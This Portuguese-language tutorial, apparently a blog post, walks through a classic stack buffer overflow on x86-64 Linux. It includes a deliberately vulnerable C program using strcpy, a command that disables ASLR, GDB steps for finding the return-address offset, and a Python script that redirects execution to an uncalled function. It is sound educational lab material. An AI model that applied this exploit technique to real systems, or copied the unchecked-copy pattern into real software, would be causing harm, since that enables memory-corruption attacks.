Neste exemplo, vou utilizar um binário compilado para x86_x64. Porém, o mesmo exemplo pode ser reproduzido num ambiente x86, basta prestar atenção nos registradores.
Antes de iniciarmos, desabilite o ASLR.
sudo su -
echo 0 > /proc/sys/kernel/randomize_va_space
Código fonte
Crie um arquivo main.c com o código abaixo.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int copytobuffer(char *input)
{
char buffer[15];
strcpy(buffer, input);
return 0;
}
void letsprint()
{
printf("0xdutra.com");
exit(0);
}
int main(int argc, char *argv[])
{
copytobuffer(argv[1]);
return 0;
}
Repare que nosso programa não chama a função letsprint em nenhum momento. Vamos chamar ela atráves da exploração do buffer overflow.
Compilando o binário
Para compilar, vamos utilizar o GCC, caso não o tenha instalado, rode sudo apt install gcc.
gcc -fno-stack-protector -z execstack main.c -o main
Exploração
A exploração é bem simples, só precisamos controlar a execução do registrador RIP. também conhecido como EIP em ambientes x86. o RIP é o registrador responsável por controlar a próxima instrusão que será executada pela CPU.
Vamos utilizar o GDB para analisarmos o binário, caso não o tenha instalado, rode sudo apt install gdb.
gdb -q main
Agora, vamos precisar encontrar a quantidade de bytes necessário para sobreescrever os registradores até chegarmos no RIP. Como não estamos utilizando nenhuma ferramenta de fuzzing, o processo vai ser bem manual, aconselho você começar a partir dos 20 bytes, visto que nosso buffer possui 15 bytes de tamanho.
Com o gdb aberto, rode o comando abaixo.
run `perl -e 'print "A" x 20'`
No meu caso, não foi o suficiente para sobreescrever o RIP, porém, conseguimos sobreescrever o RBP, isso signifca que estamos indo para o caminho certo, vamos aumentar mais alguns bytes.
Novamente, com o gdb aberto, rode o comando abaixo.
run `perl -e 'print "A" x 23'`
Olha que interessante, achamos a quantidade exata de bytes para começar a escrever dados no registrador RIP, veja que ele está apontando para um byte nulo. Agora, podemos colocar qualquer coisa no registrador.
Testando o controle do registrador.
run `perl -e 'print "A" x 23 ; print "B" x 6'`
Veja que agora no RIP aponta para um endereço x4242…que são exatamente os 6 bytes ‘B’ que colocamos no registrador.
Descobrindo o endereço da função
Continuando no GDB, vamos precisar descobrir o endereço da função que vamos colocar no RIP para ser executada.
Utilize o comando abaixo.
disass letsprint
No meu caso, o endereço de memória do início da função letsprint é o 0x000055555555517b.
Em outro terminal, criei um arquivo memory.py e cole o conteúdo abaixo.
#!/usr/bin/python
from struct import *
buffer = b''
buffer += b'a' * 23
buffer += pack("<Q", 0x000055555555517b)
f = open("input.txt", "w+")
f.write(buffer)
f.write('\n')
Lembra-se de trocar o endereço 0x000055555555517b pelo endereço que você encontrou.
Execute o comando python memory.py, um arquivo input.txt será criado no diretório que você está.
Agora, no gdb, execute o comando abaixo.
run $(cat input.txt)
Veja que a função letsprint foi executada com sucesso. Agora, vamos sair do gdb e executar o programa que compilamos.
quit
Agora
./main $(cat input.txt)
Referências
Hacking - The Art of Exploitation (Jon Erickson)